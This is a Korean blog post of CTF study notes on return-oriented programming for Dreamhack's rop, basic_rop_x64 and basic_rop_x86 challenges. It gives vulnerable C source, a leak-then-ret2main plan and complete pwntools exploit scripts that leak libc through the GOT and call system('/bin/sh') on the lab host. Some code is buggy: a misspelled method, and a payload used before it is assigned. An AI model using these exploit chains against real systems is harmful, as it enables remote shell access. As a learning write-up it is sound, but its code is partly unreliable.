ROP & basic_rop_x64 실습
Return Oriented Programming (ROP)
공격기법 : 셸 코드에서 라이브러리 함수의 실행, 다수의 리턴 가젯을 연결해서 사용하는 ROP
: 현실적으로 ASLR이 걸린 환경에서 system함수를 사용하려면 process에서 libc가 매핑된 주소를 찾고,
그 주소로부터 system 함수의 오프셋을 이용하여 함수의 주소를 계산
ROT 페이로드는 리턴 가젯으로 구성-> ret 단위로 여러 코드가 연쇄적으로 실행 (ROP chain)
rop.c 코드
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
Exploit 설계
1. 카나리 우회
2. system함수의 주소 계산
: system함수는 libc.so.6에 정의 ( read, puts, printf 등도 포함)
: 바이너리가 system을 직접 호출하지않으나, read, puts 등이 GOT에 등록되어있으므로 GOT를 읽을 수 있다.
: libc 내의 데이터 사이의 거리를 알아놓으면 하나만 알아도 도움이 된다.
예) system - read 사이의 거리
3. "bin/sh"
데이터 영역에 /bin/sh문자열이 존재x
-> 임의 버퍼에 직접 주입 참조 or 다른 파일에 포함된 것 사용
-> libc.so.6 속의 "/bin/sh" 이용
4. GOT Overwrite
system함수와 /bin/sh 문자열을 알고 있으므로, pop rdi; ret 가젯을 사용하여 system("/bin/sh")을 호출하자.
그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다..??
이러한 공격 패턴을 ret2main이라고 한다.
: 알아낸 system함수 주소를 어떤 함수의 GOT에 쓰고 그 함수를 재호출하도록 ROP chain을 구성 하자.
Exploit
1. 카나리 우회
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p=process('./rop')
e= ELF('./rop')
#leak canary
buf = b'a' * 0x39
p.sendafter(b'Buf :',buf)
p.recvutil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary ', cnry)
2. system함수의 주소 계산
read 함수의 GOT를 가지고 read함수와 system함수의 offset거리를 이용하여 system함수의 주소 계싼
: ELF.symbols 메소드를 이용하여 심볼 사이의 offset 계산
++
추가 추가 공부
Basic_rop_x64
ASLR 적용, NX적용(셸코드 x) , canary와 PIE 미적용
canary가 없기 떄문에 stack 맨 위에 존재하는 sfp, ret와 그 뒤 주소를 마음대로 변경하여도
프로세스가 자동 종료되지 않는다. 또한, pie가 적용되지 않기에 해당 바이너리가 실행되는 mem주소가 랜덤화되지 않는다.
코드분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf 0x40, read에서 0x400 크기 입력 -> bof 취약점 존재
Exploit
목표 : system("/bin/sh") 실행
buf가 할당된 64바이트 뒤에 8바이트의 sfp, 8바이트의 ret이 존재
-> 72바이트 만큼을 입력하여 buf, sfp을 더미 값으로
-> ret을 원하는 값으로 조작하자
read, write함수에 들어가는 buf의 주소는 rbp -0x40
=> buf + 0x40 : sfp, buf+0x48이 exploit시 값을 조작해야하는 ret부분
system 함수 주소 계산
ASLR이 걸려있기에 라이브러리가 매핑된 base 주소를 구하고 내부함수들의 거리를 구해서 system함수의 주소를 계산!
-> base주소 + system func offset
base 주소 : read함수의 주소 - read함수의 offset
read가 1번 실행되면, read의 함수 주소는 GOT에 등록 -> read함수의 주소 알 수 있다.
/bin/sh 문자열
system("/bin/sh")를 위해 문자열을 찾자
start후에 search
libc.so.6라이브러리에 존재하는 것을 확인
->역시나 ASLR의 영향 O => 위와 동일하게 base주소 + "/bin/sh" 문자열 offset으로 주소를 구하자
"/bin/sh"문자열 offset구하기
from pwn import * | |
libc = ELF("./libc.so.6", checksec=False) | |
sh = list(libc.search(b"/bin/sh"))[0] |
시나리오
Base주소를 모르기에 ret2main 기법 이용
: 원하는 정보를 얻은 후, 다시 main으로 돌아와 명령을 이어 실행
1. write 함수를 이용하여 libc_base 구하기
write(1,read@got,8)
: read@got 값을 출력하여 read 함수 주소 get
libc_base = read address - read offset
2. 이를 이용해 system함수, "/bin/sh" 주소 구하기
system = libc_base + system offset
"/bin/sh" = libc_base + "bin/sh" offset
3. 두 번째 main 함수 실행 시에 system("/bin/sh")를 실행 (ret2main)
write(1,read@got,8)의 코드 이후 main의 주소를 넣어서 ret을 조작
셸 획득
pop rdi, ret가젯을 이용하여 system("/bin/sh") 호출
find_gadget을 이용하여 가젯 구하기
Explit code
from pwn import *
def slog(symbol, addr):
return success(symbol + ": " + hex(addr))
#context.log_level = 'debug'
p = remote('host3.dreamhack.games', 11504)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = e.libc
libc = ELF("./libc.so.6", checksec=False)
r = ROP(e)
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
# Stage 1
payload:bytes = b'A' * 0x48
# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)
# return to main
payload += p64(main)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = sh + lb
slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)
# Stage 2
payload: bytes = b'A' * 0x48
# system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive()
Basic_rop_x86
: i386 (32bit)
ASLR, NX 적용 / canary, pie 미적용!
c코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf는 0x40 이지만, read로 0x400만큼 읽어들이고 wrtie로 씀 => bof 취약점!
시나리오
목표: system("/bin/sh")실행
위의 문제와 동일하게 64바이트를 buf에 할당, 4바이트의 sfp, 4바이트의 ret존재
$disass main
read, write함수에 들어가는 buf주소는 ebp-0x44 (68바이트)
=> buf +0x44 : sfp
=> buf +0x48: exploit 시 조작해야하는 ret 부분
system함수 주소 계산
base 주소 + system함수 offset
base 주소 = read함수 주소 - read offset
/bin/sh 문자열
base 주소 + "/bin/sh" offset
1. write 함수를 이용하여 lilc base 구하기
2. 이를 이용해 system함수, "/bin/sh" 주소 구하기
3. ret2main - read()을 이용하여 write()의 GOT주소에 system()의 실제 주소값
4. write() 를 재호출 하여 system()함수를 호출하도록 실행
Exploit code
from pwn import *
p = remote('host3.dreamhack.games', 15319)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
# plt와 got 받기 (read, write)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
pop_esi_edi_ebp = 0x08048689 # pop rsi; pop edi; pop ebp; ret
pop_ret = pop_esi_edi_ebp + 2 ; pop ebp; ret
# bss의 주소
bss=e.bss()
# buf + sfp
payload += b'a'*0x44 + b'b'*0x4
#write(1,read_got,4) : 함수 호출 규약이 64bit와 다르게 순서대로.
payload += p32(write_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
#read(0,bss,8)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# read(0, write_got, 4)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
# write("/bin/sh", 0, 0) == system("/bin/sh")
payload += p32(write_plt)
payload += p32(pop_ret)
payload += p32(bss)
p.send(payload)
p.recv(0x40)
read_addr = u32(p.recvn(4))
lb = read_addr - read_offset
system_addr = lb + system_offset
print("libc base addr : ", lb)
print("system addr : ", system_addr)
p.send(b'/bin/sh\x00')
p.send(p32(system_addr))
p.interactive()
++
'System Hacking' 카테고리의 다른 글
PIE & RELRO (2) | dreamhack (0) | 2024.03.17 |
---|---|
PIE & RELRO(1) | dreamhack (0) | 2024.03.16 |
Bypass NX & ASLR(1) | dreamhack (0) | 2024.03.15 |
BOF & Canary | dreamhack (0) | 2024.03.10 |
Basic Pentesting 1(1) (0) | 2024.01.11 |